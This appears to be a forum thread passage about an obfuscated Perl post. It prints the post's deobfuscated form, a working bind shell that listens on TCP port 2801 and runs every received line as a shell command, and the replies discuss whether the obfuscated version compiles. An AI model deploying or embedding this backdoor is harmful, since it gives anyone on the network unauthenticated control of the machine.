use IO::Socket;
use Net::hostent;
my($nmn,$nmm,$mnm,$mmn)=undef;
$nmn=IO::Socket::INET->new(Proto=>"tcp", LocalPort=>2801,Listen=>5,Reu
+se=>1);
while($nmm=$nmn->accept())
    {
    $nmm->autoflush(1);
    while($mnm=<$nmm>)
        {
        $mmn=`$mnm`;
        print $nmm $mmn;
        }
    close $nmm;
    };
[download]

Eh, it doesn't do anything particularly worth seeing: it listens on port 2801 and executes any string sent to that port in shell. Easy to see if you substitute a print for the eval.

Or rather, wouldn't do anything particularly worth seeing if it actually worked. The obfuscated data does not translate to compilable Perl as is.

Makeshifts last the longest.

Sure it compiles ... as long as you hit "download code" and then save the file. Cut&paste results in a mess, don't do that. See those special characters? Here they show up as the euro sign. They don't export properly... but if you download the code, save it, then it works fine.